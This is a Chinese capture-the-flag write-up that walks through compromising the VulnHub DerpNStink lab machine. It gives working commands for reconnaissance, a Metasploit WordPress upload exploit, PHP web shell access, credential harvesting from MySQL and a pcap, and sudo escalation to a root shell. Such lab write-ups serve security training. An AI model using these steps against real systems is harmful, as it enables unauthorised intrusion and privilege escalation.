靶机难度:中等(CTF)
靶场地址:https://www.vulnhub.com/entry/derpnstink-1,221/
kali攻击机ip:192.168.43.135
arp-scan -l #扫描靶机ip
nmap -sC -sV -T4 192.168.43.73
访问80端口,呆呆二人组。。。。。
好干净的页面,看一下源代码找到第一个flag
dirb目录爆破一下
dirb http://192.168.43.73
有好多,在根目录下分为3个目录 temporary、php、weblog其中观察weblog的子目录应该是wordpress框架,php目录下有phpmyadmin,挨个访问
weblog页面下一直跳转到http://derpnstink.local/这个链接,根据以往的经验需要改一下hosts文件
windows该文件在 C:\Windows\System32\drivers\etc\hosts (不知道为什么我windows加了不行所以我选择了用linux访问)
linux在/etc/hosts
在该文件中添加一条记录就行了
然后重新访问(是一个用wordpasswd搭建的网站):
访问后台地址:http://192.168.43.73/weblog/wp-login.php,默认密码admin,admin登入后台
wpscan扫一下
wpscan --url http://derpnstink.local/weblog/ #通用扫描
wpscan --url http://derpnstink.local/weblog/ --enumerate #枚举用户
发现了很多插件存在漏洞,打算利用两个漏洞
1、利用这个任意文件上传
使用msf查询一下(CVE-2014-5460)漏洞exp,有可以利用的exp
进入exp,执行Show options 查询一下配置
配置msf
set rhosts 192.168.43.73
set wp_user admin
set wp_password set vhost derpnstink.local
set targeturi /weblog/
exploit
python -c 'import pty; pty.spawn("/bin/bash")' #获取一个python shell就等于加强shell吧
2、管理侧边框的插件如下,这个插件存在文件上传漏洞
文件上传成功后来到先前利用的那个漏洞获得的shell,查看上传文件所在的位置:
木马地址:http://192.168.43.73/weblog/wp-content/uploads/slideshow-gallery/phpshell.php
存在:
中国蚁剑连接:
查看当前角色和内核版本,普通用户和linux 4.4.0 框架I686
没找到可以利用的内核提权漏洞
发现靶机用root用户运行的mysql,看看可以可以使用udf提权
ps -ef | grep mysql
在配置文件里找到了,mysql管理员用户密码:
连接mysql:
查看发现不可以任意上传下载文件,只能在指定目录下上传下载文件,不可以使用udf
前面发现过一个mysql的管理界面,通过mysql账号密码登陆去看看(root,mysql)
在里面找到了第二个flag
在wp_users表中发现另一个用户unclestinky
和hash加密过后的密码
拿着hash去破解得到明文密码,我破解失败了,去网上查了一下密码是wedgie57
得到用户/密码
Unclestinky/wedgie57
在靶机home目录下发现两个用户,mrderp/stinky
使用刚刚得到的密码尝试登陆一下,发现ssh不支持密码密码登陆,只可以通过指纹登陆
尝试登陆一下,使用stinky/wedgie57登陆成功
使用命令 ls -al 查看当前目录下所有文件
找到第三个flag:
两个管理员的对话,大致是mrderp账户没了,stinky给他初始化了一个账号,mrderp用这个账号登上去更改了一下账号信息结束了,解题之道就在其中,但是还有个文件没看先看一下key.txt
ftp://192.168.43.148/files/ssh/ssh/ssh/ssh/ssh/ssh/ssh/key.txt
这熟悉的格式,是ssh私钥,放到kali上,保存到桌面/id_rsa中(好像放哪都一样) 使用私钥登一下
发现root和stinky都拒绝但是mrderp用户可以,不过需要输入密码
看来接下来只有登录到mrderp提权得到第四面旗子了,回到stinky找密码
我就盯着derpissues.txt琢磨了好久还是想不出来,又在stinky中进行了一波信息收集
这就是他们俩聊天中抓取的数据包了吧,作者设计的太巧妙了,吧这个数据包先复制到tmp文件夹下面然后通过蚁剑下载下来,放到kali用wireshark看一下,只看http请求就可以了
cp derpissues.pcap /tmp
事后发现只看post请求更清晰
http and http.request.method=="POST"
mrderp密码:derpderpderpderpderpderpderp
ssh登录mrderp
suid和sudo提权先试一下
好像可以sudo提权,但是没有这个路径我们自己创建一下就行了
先创建binaries目录,然后自己编辑一个derpy开头的可执行文件
mkdir binaries
cd binaries
echo "/bin/bash" >> derpy.sh
chmod +x derpy.sh
sudo ./derpy.sh
在/root/Desktop目录下,获得第四个flag